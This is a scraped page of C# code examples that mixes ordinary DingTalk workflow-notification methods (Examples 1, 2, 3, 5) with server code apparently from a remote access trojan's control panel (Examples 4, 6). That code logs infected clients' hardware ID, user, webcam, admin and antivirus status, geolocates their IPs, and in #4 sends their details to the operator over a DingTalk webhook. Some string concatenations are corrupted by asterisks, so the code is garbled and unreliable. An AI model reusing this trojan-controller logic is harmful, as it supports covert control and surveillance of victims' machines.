Пример #1
0
        /// <summary>
        /// 执行
        /// </summary>
        /// <returns>返回执行结果</returns>
        public override object Do()
        {
            GPM.Emp emp = new GPM.Emp();
            emp.CheckPhysicsTable();

            DingDing ding   = new DingDing();
            string   result = ding.AnsyIncrementOrgToGPM();

            if (DataType.IsNullOrEmpty(result))
            {
                return("执行成功,没有发生变化...");
            }
            else if (result.Contains("钉钉获取部门出错"))
            {
                return(result);
            }
            else if (result.Length > 0)
            {
                string webPath  = "Log/Ding_GPM" + DateTime.Now.ToString("yyyy_MM_dd") + ".log";
                string savePath = BP.Sys.SystemConfig.PathOfDataUser + webPath;

                BP.DA.Log log = new Log(savePath);
                log.WriteLine(result);
                return("执行成功<a href=\"/DataUser/" + webPath + "\" target='_blank'>下载日志</a>");
            }
            else
            {
                return("执行失败...");
            }
        }
Пример #2
0
        /// <summary>
        /// 执行
        /// </summary>
        /// <returns>返回执行结果</returns>
        public override object Do()
        {
            DingDing ding   = new DingDing();
            bool     result = ding.AnsyOrgToCCGPM();

            if (result == true)
            {
                return("执行成功...");
            }
            else
            {
                return("执行失败...");
            }
        }
Пример #3
0
        /// <summary>
        /// 执行
        /// </summary>
        /// <returns>返回执行结果</returns>
        public override object Do()
        {
            DingDing ding     = new DingDing();
            string   savePath = BP.Sys.SystemConfig.PathOfDataUser + "UserIcon";
            bool     result   = ding.DownLoadUserIcon(savePath);

            if (result == true)
            {
                return("执行成功...");
            }
            else
            {
                return("执行失败...");
            }
        }
Пример #4
0
        public void AddToListview(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                lock (Settings.LockBlocked)
                {
                    try
                    {
                        if (Settings.Blocked.Count > 0)
                        {
                            if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
                            {
                                client.Disconnected();
                                return;
                            }
                            else if (Settings.Blocked.Contains(client.Ip))
                            {
                                client.Disconnected();
                                return;
                            }
                        }
                    }
                    catch { }
                }
                client.Admin = false;
                if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() != "user")
                {
                    client.Admin = true;
                }

                client.LV = new ListViewItem
                {
                    Tag  = client,
                    Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
                };
                string[] ipinf;
                string   address = "";
                try
                {
                    if (TimeZoneInfo.Local.Id == "China Standard Time")
                    {
                        using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\Plugins\ip2region.db"))
                        {
                            string temp = _search.MemorySearch(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Region;
                            for (int i = 0; i < 5; i++)
                            {
                                if (i == 1)
                                {
                                    continue;
                                }
                                if (temp.Split('|')[i] != "" || temp.Split('|')[i] != " ")
                                {
                                    address = address + temp.Split('|')[i] + " ";
                                }
                            }
                        }
                        client.LV.SubItems.Add(address);
                    }
                    else
                    {
                        ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
                        client.LV.SubItems.Add(ipinf[1]);
                    }
                }
                catch
                {
                    client.LV.SubItems.Add("Unknown");
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Camera").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
                try
                {
                    client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString());
                }
                catch
                {
                    try
                    {
                        client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString);
                    }
                    catch
                    {
                        client.LV.SubItems.Add("??");
                    }
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString);
                client.LV.SubItems.Add("0000 MS");
                client.LV.SubItems.Add("...");
                client.LV.ToolTipText             = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
                client.LV.ToolTipText            += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
                client.ID                         = unpack_msgpack.ForcePathObject("HWID").AsString;
                client.LV.UseItemStyleForSubItems = false;
                client.LastPing                   = DateTime.Now;
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    lock (Settings.LockListviewClients)
                    {
                        Program.form1.listView1.Items.Add(client.LV);
                        Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                        Program.form1.lv_act.Width = 500;
                    }

                    if (Properties.Settings.Default.Notification == true)
                    {
                        Program.form1.notifyIcon1.BalloonTipText = $@"Connected 
{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
                        Program.form1.notifyIcon1.ShowBalloonTip(100);
                        if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null)
                        {
                            try
                            {
                                string content = $"Client {client.Ip} connected" + "\n"
                                                 + "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n"
                                                 + "User:"******"User").AsString + "\n"
                                                 + "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n"
                                                 + "User:"******"Admin").AsString;
                                DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content);
                            }
                            catch (Exception ex)
                            {
                                MessageBox.Show(ex.Message);
                            }
                        }
                    }

                    new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green);
                    TimeZoneInfo local = TimeZoneInfo.Local;
                    if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true)
                    {
                        SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online);
                        sp.Load();
                        sp.Play();
                    }
                }));
            }
            catch { }
        }
Пример #5
0
        public Ding_Post_ReturnVal Ding_SendWorkMessage(DingMsgType msgType, long WorkID, string sender)
        {
            DataTable dt = BP.DA.DBAccess.RunSQLReturnTable("SELECT * FROM WF_GenerWorkFlow WHERE WorkID=" + WorkID);

            if (dt.Rows.Count == 0)
            {
                return(null);
            }

            int    wfState     = int.Parse(dt.Rows[0]["WFState"].ToString());
            string title       = dt.Rows[0]["Title"].ToString();
            string flowNo      = dt.Rows[0]["FK_Flow"].ToString();
            string nodeID      = dt.Rows[0]["FK_Node"].ToString();
            string fid         = dt.Rows[0]["FID"].ToString();
            string flowName    = dt.Rows[0]["FlowName"].ToString();
            string nodeName    = dt.Rows[0]["NodeName"].ToString();
            string starterName = dt.Rows[0]["StarterName"].ToString();
            string rdt         = dt.Rows[0]["RDT"].ToString();


            //结束不发送消息
            if (wfState == 3)
            {
                return(null);
            }



            //判断节点类型,分合流等.
            dt = BP.DA.DBAccess.RunSQLReturnTable("SELECT * FROM WF_EmpWorks WHERE WorkID=" + WorkID + " OR FID=" + WorkID);
            if (dt.Rows.Count == 0)
            {
                return(null);
            }

            string toUsers = "";

            foreach (DataRow dr in dt.Rows)
            {
                if (toUsers.Length > 0)
                {
                    toUsers += "|";
                }
                toUsers += dr["FK_Emp"].ToString();
            }
            if (toUsers.Length == 0)
            {
                return(null);
            }

            switch (msgType)
            {
            case DingMsgType.text:
                Ding_Msg_Text msgText = new Ding_Msg_Text();
                msgText.Access_Token = DingDing.getAccessToken();
                msgText.agentid      = SystemConfig.Ding_AgentID;
                msgText.touser       = toUsers;
                msgText.content      = title + "\n发送人:" + sender + "\n时间:" + BP.DA.DataType.CurrentDataTimeCNOfShort;
                return(DingTalk_Message.Msg_AgentText_Send(msgText));

            case DingMsgType.link:
                Ding_Msg_Link msgLink = new Ding_Msg_Link();
                msgLink.Access_Token = DingDing.getAccessToken();
                msgLink.touser       = toUsers;
                msgLink.agentid      = SystemConfig.Ding_AgentID;
                msgLink.messageUrl   = SystemConfig.Ding_MessageUrl + "/CCMobile/login.aspx";
                msgLink.picUrl       = "@lALOACZwe2Rk";
                msgLink.title        = title;
                msgLink.text         = "发送人:" + sender + "\n时间:" + BP.DA.DataType.CurrentDataTimeCNOfShort;
                return(DingTalk_Message.Msg_AgentLink_Send(msgLink));

            case DingMsgType.OA:
                string[]            users     = toUsers.Split('|');
                string              faildSend = "";
                Ding_Post_ReturnVal postVal   = null;
                foreach (string user in users)
                {
                    Ding_Msg_OA msgOA = new Ding_Msg_OA();
                    msgOA.Access_Token = DingDing.getAccessToken();
                    msgOA.agentid      = SystemConfig.Ding_AgentID;
                    msgOA.touser       = user;
                    msgOA.messageUrl   = SystemConfig.Ding_MessageUrl + "/CCMobile/DingAction.aspx?ActionFrom=message&UserID=" + user
                                         + "&ActionType=ToDo&FK_Flow=" + flowNo + "&FK_Node=" + nodeID
                                         + "&WorkID=" + WorkID + "&FID=" + fid;
                    //00是完全透明,ff是完全不透明,比较适中的透明度值是 1e
                    msgOA.head_bgcolor = "FFBBBBBB";
                    msgOA.head_text    = "审批";
                    msgOA.body_title   = title;
                    Hashtable hs = new Hashtable();
                    hs.Add("流程名", flowName);
                    hs.Add("当前节点", nodeName);
                    hs.Add("申请人", starterName);
                    hs.Add("申请时间", rdt);
                    msgOA.body_form   = hs;
                    msgOA.body_author = sender;
                    postVal           = DingTalk_Message.Msg_OAText_Send(msgOA);
                    if (postVal.errcode != "0")
                    {
                        if (faildSend.Length > 0)
                        {
                            faildSend += ",";
                        }
                        faildSend += user;
                    }
                }
                //有失败消息
                if (faildSend.Length > 0)
                {
                    postVal.errcode = "500";
                    postVal.errmsg  = faildSend + "消息发送失败";
                }
                return(postVal);
            }
            return(null);
        }
Пример #6
0
        public void AddToListview(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                lock (Settings.LockBlocked)
                {
                    try
                    {
                        if (Settings.Blocked.Count > 0)
                        {
                            if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
                            {
                                client.Disconnected();
                                return;
                            }
                            else if (Settings.Blocked.Contains(client.Ip))
                            {
                                client.Disconnected();
                                return;
                            }
                        }
                    }
                    catch { }
                }

                client.LV = new ListViewItem
                {
                    Tag  = client,
                    Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
                };
                string[] ipinf;
                try
                {
                    ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
                    client.LV.SubItems.Add(ipinf[1]);
                    try
                    {
                        client.LV.ImageKey = ipinf[2] + ".png";
                    }
                    catch { }
                }
                catch
                {
                    client.LV.SubItems.Add("??");
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
                try
                {
                    client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString());
                }
                catch
                {
                    try
                    {
                        client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString);
                    }
                    catch
                    {
                        client.LV.SubItems.Add("??");
                    }
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString);
                client.LV.SubItems.Add("0000 MS");
                client.LV.SubItems.Add("...");
                client.LV.ToolTipText             = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
                client.LV.ToolTipText            += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
                client.ID                         = unpack_msgpack.ForcePathObject("HWID").AsString;
                client.LV.UseItemStyleForSubItems = false;
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    lock (Settings.LockListviewClients)
                    {
                        Program.form1.listView1.Items.Add(client.LV);
                        Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                        Program.form1.lv_act.Width = 500;
                    }

                    if (Properties.Settings.Default.Notification == true)
                    {
                        Program.form1.notifyIcon1.BalloonTipText = $@"Connected 
{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
                        Program.form1.notifyIcon1.ShowBalloonTip(100);
                        if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null)
                        {
                            try
                            {
                                string content = $"Client {client.Ip} connected" + "\n"
                                                 + "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n"
                                                 + "User:"******"User").AsString + "\n"
                                                 + "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n"
                                                 + "User:"******"Admin").AsString;
                                DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content);
                            }
                            catch (Exception ex)
                            {
                                MessageBox.Show(ex.Message);
                            }
                        }
                    }

                    new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green);
                    SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online);
                    sp.Load();
                    sp.Play();
                }));
            }
            catch { }
        }